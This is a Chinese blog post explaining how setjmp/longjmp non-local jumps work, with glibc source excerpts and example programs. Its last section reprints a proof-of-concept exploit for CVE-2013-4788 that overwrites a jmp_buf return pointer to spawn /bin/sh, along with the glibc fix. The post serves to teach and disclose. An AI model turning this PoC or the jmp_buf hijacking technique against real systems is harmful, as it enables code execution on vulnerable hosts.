目录

1. 应用场景
2. Use Case Code Analysis
3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

1. 应用场景

非局部跳转通常被用于实现将程序控制流转移到错误处理模块中;或者是通过这种非正常的函数返回机制,返回到之前调用的函数中

1. setjmp、longjmp的典型用途是异常处理机制的实现:利用longjmp恢复程序或线程的状态,甚至可以跳过栈中多层的函数调用2. 在信号处理机制中,进程在检查收到的信号,会从原来的系统调用中直接返回,而不是等到该调用完成。这种进程突然改变其上下文的情况,就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间,并继续在旧的上下文中继续执行。这就是说,进程执行一个系统调用,当因为资源或其他原因要去睡眠时,内核为进程作了一次setjmp,如果在睡眠中被信号唤醒,进程不能再进入睡眠时,内核为进程调用longjmp,该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文,这样就使得进程可以恢复等待资源前的状态,而且内核为setjmp返回1,使得进程知道该次系统调用失败 3. Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数4. C语言中有一个goto语句,其可以结合标号实现函数内部的任意跳转(但是在大多数情况下,都建议不要使用goto语句,因为采用goto语句后,代码维护工作量加大,而且使得代码的结构性变得很差)。另外,C语言标准中还提供一种非局部跳转"no-local goto",其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现 

0x1: 非局部跳转(no-local goto)实现原理

C语言的运行控制模型,是一个基于"栈结构"的"指令执行序列",表现出来就是call/return: call调用一个函数,然后return从一个函数返回。在这种运行控制模型中,每个函数调用都会对应着一个栈帧,其中保存了这个函数的参数、返回值地址、局部变量以及控制信息(从高地址向低地址生长)等内容。当调用一个函数时,系统会创建一个对应的栈帧压入栈中,而从一个函数返回时,则系统会将该函数对应的栈帧从栈顶退出。正常的函数跳转就是这样从栈顶一个一个栈帧逐级地返回

另外,系统内部有一些寄存器记录着当前系统的状态信息,其中包括当前栈顶位置、位于栈顶的栈帧位置以及其他一些系统信息(例如代码段,数据段等等)。这些寄存器指示了当前程序运行点的系统状态,可以称为程序点
在宏函数setjmp中就是将这些系统寄存器的内容保存到jmp_buf类型变量env中,然后在函数longjmp中将函数setjmp保存在变量env中的系统状态信息恢复,此时系统寄存器中指示的栈顶的栈帧就是调用宏函数setjmp时的栈顶的栈帧(这相当于直接强制修改栈帧的状态来改变程序流的目的)。于是,相当控制流跳过了中间的若干个函数调用对应的栈帧,到达setjmp所在那个函数的栈帧
这就是非局部跳转的实现机制,其不同于上面所说的call/return跳转机制

正是因为这种实现机制,需要特别注意的是:"包含setjmp()宏调用的函数一定不能终止"。如果该函数终止的话,该函数对应的栈帧也已经从系统栈中退出,于是setjmp()宏调用保存在env中的内容在longjmp函数恢复时,就不再是setjmp()宏调用所在程序点。此时,调用函数longjmp()就会出现不可预测的错误

Relevant Link:

http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html
https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

2. Use Case Code Analysis

1. 非局部跳转setjmp()
头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径,特别的,它允许立即从一个多层嵌套的函数调用中返回
/*
#include <setjmp.h>
int setjmp(jmp_buf env);
*/1) setjmp()宏把当前状态信息保存到env中,供以后longjmp()恢复状态信息时使用1.1) 如果是直接调用setjmp(),那么返回值为01.2) 如果是由于调用longjmp()而调用setjmp(),那么返回值非02) setjmp()只能在某些特定情况下调用,如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中2. 非局部跳转longjmp()1) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时,程序就象setjmp()刚刚执行完并返回非0值val那样继续执行2) 值得注意的是,包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了,那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了,程序返回到一个不再存在的执行点,很可能覆盖或者弄坏程序栈3) 所有可访问的对象的值都与调用longjmp()时相同,唯一的例外是,那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变,那么就变成未定义的
/*
#include <setjmp.h>
void longjmp(jmp_buf env, int val);
*/

0x1: jmp_buf

jmp_buf是setjmp.h中定义的一个结构类型,其用于保存系统状态信息。宏函数setjmp会将其所在的程序点的系统状态信息保存到某个jmp_buf的结构变量env中,而调用函数longjmp会将宏函数setjmp保存在变量env中的系统状态信息进行恢复,于是系统就会跳转到setjmp()宏调用所在的程序点继续进行。这样setjmp/longjmp就实现了非局部跳转的功能

\glibc-2.18\setjmp\setjmp.h

/*
Calling environment, plus possibly a saved signal mask.
*/
struct __jmp_buf_tag
{/* NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it.  Do not move these members or add others before it.  */__jmp_buf __jmpbuf;        /* Calling environment.  */int __mask_was_saved;        /* Saved the signal mask */__sigset_t __saved_mask;    /* Saved signal mask.    */
};__BEGIN_NAMESPACE_STDtypedef struct __jmp_buf_tag jmp_buf[1];

将jmp_buf定义为一个数组,那么可以将数据分配在栈上,但是作为参数传递的时候传的是一个指针

0x2: setjmp

创建本地的jmp_buf缓冲区并且初始化,用于将来跳转回此处。这个子程序(setjmp)保存程序的调用环境于env参数所指的缓冲区,env将被longjmp使用。如果是从setjmp直接调用返回

\glibc-2.18\ports\sysdeps\aarch64\setjmp.S

/* Keep traditional entry points in with sigsetjmp(). */
ENTRY (setjmp)mov    x1, #1b    1f
END (setjmp)ENTRY (_setjmp)mov    x1, #0b    1f
END (_setjmp)
libc_hidden_def (_setjmp)ENTRY (__sigsetjmp)1:stp    x19, x20, [x0, #JB_X19<<3]stp    x21, x22, [x0, #JB_X21<<3]stp    x23, x24, [x0, #JB_X23<<3]stp    x25, x26, [x0, #JB_X25<<3]stp    x27, x28, [x0, #JB_X27<<3]stp    x29, x30, [x0, #JB_X29<<3]stp     d8,  d9, [x0, #JB_D8<<3]stp    d10, d11, [x0, #JB_D10<<3]stp    d12, d13, [x0, #JB_D12<<3]stp    d14, d15, [x0, #JB_D14<<3]mov    x2,  spstr    x2,  [x0, #JB_SP<<3]
#if defined NOT_IN_libc && defined IS_IN_rtld/* In ld.so we never save the signal mask */mov    w0, #0RET
#elseb    C_SYMBOL_NAME(__sigjmp_save)
#endif
END (__sigsetjmp)
hidden_def (__sigsetjmp)

code

/* setjmp example: error handling */
#include <stdio.h>      /* printf, scanf */
#include <stdlib.h>     /* exit */
#include <setjmp.h>     /* jmp_buf, setjmp, longjmp */main()
{jmp_buf env;int val;/*setjmp会多次返回setjmp return value1. 正常调用(保存当前call的env): 返回02. 调用longjmp返回: 取决于longjmp的第二个参数1) longjmp的第二个参数为非0: setjmp返回同样的值2) longjmp的第二个参数为0: setjmp返回1*/val = setjmp (env);if (val) {fprintf (stderr,"Error %d happened\n",val);exit (val);}printf("Calling function.\n");  longjmp (env,101);   /* signaling an error */return 0;
}

0x3: longjmp

恢复env所指的缓冲区中的程序调用环境上下文,env所指缓冲区的内容是由setjmp子程序调用所保存。value的值从longjmp传递给setjmp。longjmp完成后,程序从对应的setjmp调用处继续执行,如同setjmp调用刚刚完成

\glibc-2.18\sysdeps\x86_64\__longjmp.S

/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val).  */
.text
ENTRY(__longjmp)/* Restore registers.  */mov (JB_RSP*8)(%rdi),%R8_LPmov (JB_RBP*8)(%rdi),%R9_LPmov (JB_PC*8)(%rdi),%RDX_LP
#ifdef PTR_DEMANGLEPTR_DEMANGLE (%R8_LP)PTR_DEMANGLE (%R9_LP)PTR_DEMANGLE (%RDX_LP)
# ifdef __ILP32__/* We ignored the high bits of the %rbp value because only the lowbits are mangled.  But we cannot presume that %rbp is being usedas a pointer and truncate it, so recover the high bits.  */movl (JB_RBP*8 + 4)(%rdi), %eaxshlq $32, %raxorq %rax, %r9
# endif
#endifLIBC_PROBE (longjmp, 3, LP_SIZE@%RDI_LP, -4@%esi, LP_SIZE@%RDX_LP)/* We add unwind information for the target here.  */cfi_def_cfa(%rdi, 0)cfi_register(%rsp,%r8)cfi_register(%rbp,%r9)cfi_register(%rip,%rdx)cfi_offset(%rbx,JB_RBX*8)cfi_offset(%r12,JB_R12*8)cfi_offset(%r13,JB_R13*8)cfi_offset(%r14,JB_R14*8)cfi_offset(%r15,JB_R15*8)movq (JB_RBX*8)(%rdi),%rbxmovq (JB_R12*8)(%rdi),%r12movq (JB_R13*8)(%rdi),%r13movq (JB_R14*8)(%rdi),%r14movq (JB_R15*8)(%rdi),%r15/* Set return value for setjmp.  */mov %esi, %eaxmov %R8_LP,%RSP_LPmovq %r9,%rbpLIBC_PROBE (longjmp_target, 3,LP_SIZE@%RDI_LP, -4@%eax, LP_SIZE@%RDX_LP)jmpq *%rdx
END (__longjmp)

code

/* longjmp example */
#include <stdio.h>      /* printf */
#include <setjmp.h>     /* jmp_buf, setjmp, longjmp */main()
{jmp_buf env;int val;val=setjmp(env);printf ("val is %d\n",val);if (!val) longjmp(env, 1);return 0;
}

Relevant Link:

http://my.oschina.net/onethin/blog/27793
https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html
http://www.cplusplus.com/reference/csetjmp/setjmp/
http://www.cplusplus.com/reference/csetjmp/longjmp/
http://zh.wikipedia.org/wiki/Setjmp.h
http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html
http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

0x1: poc

CVE(CAN) ID: CVE-2013-4788
glibc是绝大多数Linux操作系统中C库的实现。
glibc 2.4 -2.17版本存在缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用上下文中执行任意代码

/** $FILE: bug-mangle.c** Comment: Proof of concept for glibc versions <= 2.17** $VERSION$** Author: Hector Marco <hecmargi@upv.es>*         Ismael Ripoll <iripoll@disca.upv.es>** $LICENSE:  * This program is free software; you can redistribute it and/or modify* it under the terms of the GNU General Public License as published by* the Free Software Foundation; either version 2 of the License, or* (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program; if not, write to the Free Software* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.*/#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>#ifdef __i386__#define ROTATE 0x9#define PC_ENV_OFFSET 0x14
#elif __x86_64__#define ROTATE 0x11#define PC_ENV_OFFSET 0x38
#elif __arm__#define ROTATE 0x0#define PC_ENV_OFFSET 0x24
#else#error The exploit does not support this architecture
#endifunsigned long rol(uintptr_t value)
{// return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));unsigned long ret;asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : "0"(value));return ret;
}int hacked()
{printf("[+] hacked !!\n");system("/bin/sh");
}int main(void)
{//jmp_buf用于保存恢复调用环境所需的信息
   jmp_buf env;uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);printf("[+] Exploiting ...\n");if(setjmp(env) == 1){printf("[-] Exploit failed.\n");return 0;}/*Overwrite env return address */*ptr_ret_env = rol((uintptr_t)hacked);longjmp(env, 1);printf("[-] Exploit failed.\n");return 0;
}

简单来说,就是通过覆盖jmp_buf中和返回地址有关的指针,来达到劫持CPU控制流的目的

0x2: pathc

diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c
--- glibc-2.17/csu/libc-start.c    2012-12-25 04:02:13.000000000 +0100
+++ glibc-2.17-mangle-fix/csu/libc-start.c    2013-07-10 00:13:48.000000000 +0200
@@ -38,6 +38,12 @@ extern void __pthread_initialize_minimalin thread local area.  */uintptr_t __stack_chk_guard attribute_relro;# endif
+
+# ifndef  THREAD_SET_POINTER_GUARD
+uintptr_t __pointer_chk_guard_local
+     attribute_relro attribute_hidden __attribute__ ((nocommon));
+# endif
+#endif#ifdef HAVE_PTR_NTHREADS
@@ -184,6 +190,14 @@ LIBC_START_MAIN (int (*main) (int, char# else__stack_chk_guard = stack_chk_guard;# endif
+    uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
+                          stack_chk_guard);
+# ifdef THREAD_SET_POINTER_GUARD
+      THREAD_SET_POINTER_GUARD (pointer_chk_guard);
+# else
+      __pointer_chk_guard_local = pointer_chk_guard;
+# endif
+#endif/* Register the destructor of the dynamic linker if there is any.  */

Relevant Link:

http://www.mra.net.cn/thread-17257-1-1.html
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c
http://sebug.net/vuldb/ssvid-82213

Copyright (c) 2014 LittleHann All rights reserved

转载于:https://www.cnblogs.com/LittleHann/p/4339745.html

setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto相关推荐

  1. 基于腾讯 x5 开源库,提高 webView 开发效率,大概要节约你百分之六十的时间成本。该案例支持处理 js 的交互逻辑且无耦合、同时暴露进度条加载进度、可以监听异常 error 状态、支持视频播放

    YCWebView 项目地址:yangchong211/YCWebView 简介: 基于腾讯 x5 开源库,提高 webView 开发效率,大概要节约你百分之六十的时间成本.该案例支持处理 js 的交 ...

  2. JAVA→异常、异常类体系结构、try→catch→finally处理异常、throw new Exception(“重构异常“);、throws Exception{ }、自定义异常

    没有异常处理的话,程序发生异常,将终止. 有了异常处理的话,程序发生异常,也继续执行. 有try时,不发生异常执行try→finally,发生异常执行try→catch→finally 多个catch ...

  3. 关于error handling的一些理解

    关于error handling的一些理解 前言 一.error handing 的常见处理方式 二 .从不同编程语言看错误 2.1 C语言的处理方式 2.2 CPP/JAVA的处理方式 2.3 GO ...

  4. Linux查看与修改时区、时间的命令

    1.查看.修改Linux时区与时间 一.linux时区的查看与修改 1,查看当前时区 date -R 2,修改设置时区 方法1: tzselect 方法2: 仅限于RedHat Linux 和 Cen ...

  5. linux内核创建字符节点,Tiny6410学习ing—(四)、嵌入式Linux内核驱动进阶—(7)、高级字符设备驱动(自动创建节点)—#931...

    按照国嵌的视频教程上来说的,最后就是-自动创建设备文件! 其实我感觉以前完全可以直接是手动创建了设备文件,然后就可以直接讲述自动创建设备文件,为啥非要拖到最后来讲述,我也就不清楚了!! 不管了,写完收 ...

  6. 国产CPU架构、国产Linux操作系统及其国产数据库等关键应用

    目录 国产CPU架构.国产Linux操作系统及其国产数据库等关键应用 1.CPU架构 1.1.基本常识 1.2.三大阵营整合为两大CPU阵营---CISC和RISC(以及RISC-V) 2.编译器 2 ...

  7. linux中time命令详解、脚本监控记录系统硬盘io值、定位linux系统中await值过高占用的盘、定位占用硬盘IO高的程序、iotop命令说明、lsof使用说明【可定位端口所占用程序等】

    文章目录 文章说明 linux中的time命令 说明&常规用法 bash中使用time,将运行记录追加到文件中,-f后的参数说明 高阶用法 time 命令详细输出指标介绍 ime taken ...

  8. 单片机、嵌入式Linux开发大学自学路径

    笔者所修读的专业为物联网工程,物联网工程是一门新兴的.热门的专业,其所涉及的学科更是又多又杂,既有计算机方向的编程语言(如C.C++.Java.Python等).数据结构与算法.操作系统.移动端应用开 ...

  9. 全网最详细的zabbix监控(zabbix安装和配置、web页面配置、监控Linux主机、监控华为交换机、监控Windows、监控nginx)

    目录 前言 一.准备工作 二.zabbix server端 三.zabbix-agent Linux客户端的安装 四.zabbix-agent Windows客户端的安装 五.使用zabbix监控ng ...

最新文章

  1. jsp 中的js 与 jstl 运行的先后顺序
  2. php大文件上传插件,PHP 大文件上传进度条实现
  3. 8086标志寄存器介绍及作用(未完)
  4. POJ 1017 Packets【贪心】
  5. c 指针打印变量_C程序打印不同类型的指针变量的大小。
  6. JavaScript用法(1)
  7. [转载] Python数据分析:python与numpy效率对比
  8. 数据结构--(AVL)平衡二叉树
  9. 戴尔T630安装Ubuntu操作系统及Gaussian 09
  10. 计算机二级office试题构成,2016年计算机二级office题库及答案
  11. 关于Android开发中图片的三级缓存机制
  12. 国内外Java学习论坛汇总
  13. 谈谈对 JWT 理解
  14. 归纳法证明汉诺塔解析式思路
  15. 计算机网络——第三章 数据链路层(详细附图)
  16. 计算机的桌面不见了,电脑桌面图标没有了怎么恢复 教你找回消失的电脑桌面图标...
  17. Struts2+Hibernate+Spring+ZTree+Dtree 实现树形菜单
  18. windows10计算机里输入法,Win10电脑输入法图标不见了怎么办?
  19. 电商项目商品详情页架构设计
  20. 论文笔记:An Adaptive Feature Norm Approach for Unsupervised Domain Adaptation

热门文章

  1. 如何建立你自己的Docker镜像
  2. 【下】安全HTTPS-全面详解对称加密,非对称加密,数字签名,数字证书和HTTPS
  3. Dart中的catchError捕获顺序
  4. Android全屏与透明状态栏
  5. java Servlet Filter 拦截Ajax请求,统一处理session超时的问题
  6. 从 OSS 装载数据到 PostgreSQL
  7. 新手安装linux的磁盘划分
  8. Devexpress TreeList控件绑定显示父子节点对像
  9. InnoDB和MyISAM的区别与选择
  10. 中国移动领取买卖将在2016年破万亿